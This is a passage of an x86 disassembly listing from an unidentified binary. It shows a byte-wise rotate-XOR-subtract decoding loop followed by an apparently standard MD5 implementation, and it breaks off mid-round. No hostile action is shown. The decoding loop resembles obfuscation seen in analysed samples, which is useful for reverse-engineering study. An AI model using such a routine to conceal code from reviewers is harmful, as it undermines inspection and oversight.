loc_40F07C:				; CODE XREF: sub_40F040+33j
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_4]
		jge	short loc_40F0C4
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		push	1
		push	[ebp+var_4]
		call	sub_416DFC	; _lrotr
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		xor	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		sub	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		jmp	short loc_40F075
; ---------------------------------------------------------------------------


loc_40F0C4:				; CODE XREF: sub_40F040+42j
		mov	eax, [ebp+arg_4]
		dec	eax
		mov	[ebp+var_8], eax
		jmp	short loc_40F0D4
; ---------------------------------------------------------------------------


loc_40F0CD:				; CODE XREF: sub_40F040+D8j
		mov	eax, [ebp+var_8]
		dec	eax
		mov	[ebp+var_8], eax


loc_40F0D4:				; CODE XREF: sub_40F040+8Bj
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_40F11A
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		push	1
		push	[ebp+var_4]
		call	sub_416DFC	; _lrotr
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		xor	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		sub	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		jmp	short loc_40F0CD
; ---------------------------------------------------------------------------


loc_40F11A:				; CODE XREF: sub_40F040+98j
		mov	eax, [ebp+arg_4]
		leave
		retn
sub_40F040	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F11F	proc near		; CODE XREF: sub_40ECEB+Dp
					; sub_40ED6E+Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax], 67452301h
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+4], 0EFCDAB89h
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+8], 98BADCFEh
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+0Ch], 10325476h
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+10h], 0
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+14h], 0
		pop	ebp
		retn
sub_40F11F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F159	proc near		; CODE XREF: sub_40ECEB+1Dp
					; sub_40ED6E+1Dp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax*8]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+10h], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		cmp	eax, [ebp+var_4]
		jnb	short loc_40F18E
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+14h], eax


loc_40F18E:				; CODE XREF: sub_40F159+26j
		mov	eax, [ebp+arg_8]
		shr	eax, 1Dh
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+14h]
		add	ecx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+14h], ecx
		mov	eax, [ebp+var_4]
		shr	eax, 3
		and	eax, 3Fh
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_40F21C
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		lea	eax, [ecx+eax+18h]
		mov	[ebp+var_8], eax
		push	40h
		pop	eax
		sub	eax, [ebp+var_4]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		cmp	eax, [ebp+var_4]
		jnb	short loc_40F1E8
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+var_8]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		jmp	locret_40F26C
; ---------------------------------------------------------------------------


loc_40F1E8:				; CODE XREF: sub_40F159+77j
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+var_8]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		add	eax, 18h
		push	eax
		push	[ebp+arg_0]
		call	sub_40F3CE
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		mov	[ebp+arg_4], eax
		mov	eax, [ebp+arg_8]
		sub	eax, [ebp+var_4]
		mov	[ebp+arg_8], eax


loc_40F21C:				; CODE XREF: sub_40F159+59j
					; sub_40F159+FCj
		cmp	[ebp+arg_8], 40h
		jb	short loc_40F257
		push	40h
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_0]
		add	eax, 18h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F3CE
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 40h
		mov	[ebp+arg_4], eax
		mov	eax, [ebp+arg_8]
		sub	eax, 40h
		mov	[ebp+arg_8], eax
		jmp	short loc_40F21C
; ---------------------------------------------------------------------------


loc_40F257:				; CODE XREF: sub_40F159+C7j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_0]
		add	eax, 18h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch

locret_40F26C:				; CODE XREF: sub_40F159+8Aj
		leave
		retn
sub_40F159	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F26E	proc near		; CODE XREF: sub_40ECEB+2Ep
					; sub_40ED6E+2Ep ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+10h]
		shr	eax, 3
		and	eax, 3Fh
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax+18h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax],	80h
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		push	3Fh
		pop	eax
		sub	eax, [ebp+var_8]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 8
		jnb	short loc_40F2E1
		push	[ebp+var_8]
		push	0
		push	[ebp+var_4]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_4]
		add	eax, 18h
		push	eax
		push	[ebp+arg_4]
		call	sub_40F3CE
		pop	ecx
		pop	ecx
		push	38h
		push	0
		mov	eax, [ebp+arg_4]
		add	eax, 18h
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		jmp	short loc_40F2F5
; ---------------------------------------------------------------------------


loc_40F2E1:				; CODE XREF: sub_40F26E+3Bj
		mov	eax, [ebp+var_8]
		sub	eax, 8
		push	eax
		push	0
		push	[ebp+var_4]
		call	sub_416B6A	; memset
		add	esp, 0Ch


loc_40F2F5:				; CODE XREF: sub_40F26E+71j
		push	8
		mov	eax, [ebp+arg_4]
		add	eax, 10h
		push	eax
		mov	eax, [ebp+arg_4]
		add	eax, 50h
		push	eax
		call	sub_40F33F
		add	esp, 0Ch
		mov	eax, [ebp+arg_4]
		add	eax, 18h
		push	eax
		push	[ebp+arg_4]
		call	sub_40F3CE
		pop	ecx
		pop	ecx
		push	10h
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F33F
		add	esp, 0Ch
		push	4
		push	0
		push	[ebp+arg_4]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		leave
		retn
sub_40F26E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F33F	proc near		; CODE XREF: sub_40F26E+97p
					; sub_40F26E+B8p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		jmp	short loc_40F35E
; ---------------------------------------------------------------------------


loc_40F34E:				; CODE XREF: sub_40F33F+8Bj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		add	eax, 4
		mov	[ebp+var_8], eax


loc_40F35E:				; CODE XREF: sub_40F33F+Dj
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_8]
		jnb	short locret_40F3CC
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+eax*4]
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+eax*4]
		shr	eax, 8
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx+1], al
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+eax*4]
		shr	eax, 10h
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx+2], al
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+eax*4]
		shr	eax, 18h
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx+3], al
		jmp	short loc_40F34E
; ---------------------------------------------------------------------------

locret_40F3CC:				; CODE XREF: sub_40F33F+25j
		leave
		retn
sub_40F33F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F3CE	proc near		; CODE XREF: sub_40F159+AAp
					; sub_40F159+E3p ...

var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 50h
		push	40h
		push	[ebp+arg_4]
		lea	eax, [ebp+var_50]
		push	eax
		call	sub_410244
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+8]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+0Ch]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_50]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-28955B88h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 7
		mov	ecx, [ebp+var_4]
		shr	ecx, 19h
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_4C]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-173848AAh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ch
		mov	ecx, [ebp+var_10]
		shr	ecx, 14h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_48]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+242070DBh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 11h
		mov	ecx, [ebp+var_C]
		shr	ecx, 0Fh
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_44]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-3E423112h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 16h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ah
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_40]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-0A83F051h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 7
		mov	ecx, [ebp+var_4]
		shr	ecx, 19h
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax+4787C62Ah]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ch
		mov	ecx, [ebp+var_10]
		shr	ecx, 14h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_38]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-57CFB9EDh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 11h
		mov	ecx, [ebp+var_C]
		shr	ecx, 0Fh
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_34]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-2B96AFFh]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 16h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ah
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+698098D8h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 7
		mov	ecx, [ebp+var_4]
		shr	ecx, 19h
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-74BB0851h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ch
		mov	ecx, [ebp+var_10]
		shr	ecx, 14h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_28]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-0A44Fh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 11h
		mov	ecx, [ebp+var_C]
		shr	ecx, 0Fh
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_24]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-76A32842h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 16h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ah
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_20]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+6B901122h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 7
		mov	ecx, [ebp+var_4]
		shr	ecx, 19h
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-2678E6Dh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ch
		mov	ecx, [ebp+var_10]
		shr	ecx, 14h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-5986BC72h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 11h
		mov	ecx, [ebp+var_C]
		shr	ecx, 0Fh
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_14]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax+49B40821h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 16h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ah
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_4C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-9E1DA9Eh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 5
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Bh
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_38]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-3FBF4CC0h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 9
		mov	ecx, [ebp+var_10]
		shr	ecx, 17h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_24]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+265E5A51h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Eh
		mov	ecx, [ebp+var_C]
		shr	ecx, 12h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_50]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-16493856h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 14h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ch
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-29D0EFA3h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 5
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Bh
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_28]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax+2441453h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 9
		mov	ecx, [ebp+var_10]
		shr	ecx, 17h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_14]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-275E197Fh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Eh
		mov	ecx, [ebp+var_C]
		shr	ecx, 12h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_40]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-182C0438h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 14h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ch
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+21E1CDE6h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 5
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Bh
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-3CC8F82Ah]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 9
		mov	ecx, [ebp+var_10]
		shr	ecx, 17h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_44]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-0B2AF279h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Eh
		mov	ecx, [ebp+var_C]
		shr	ecx, 12h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax+455A14EDh]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 14h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ch
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-561C16FBh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 5
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Bh
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_48]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-3105C08h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 9
		mov	ecx, [ebp+var_10]
		shr	ecx, 17h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
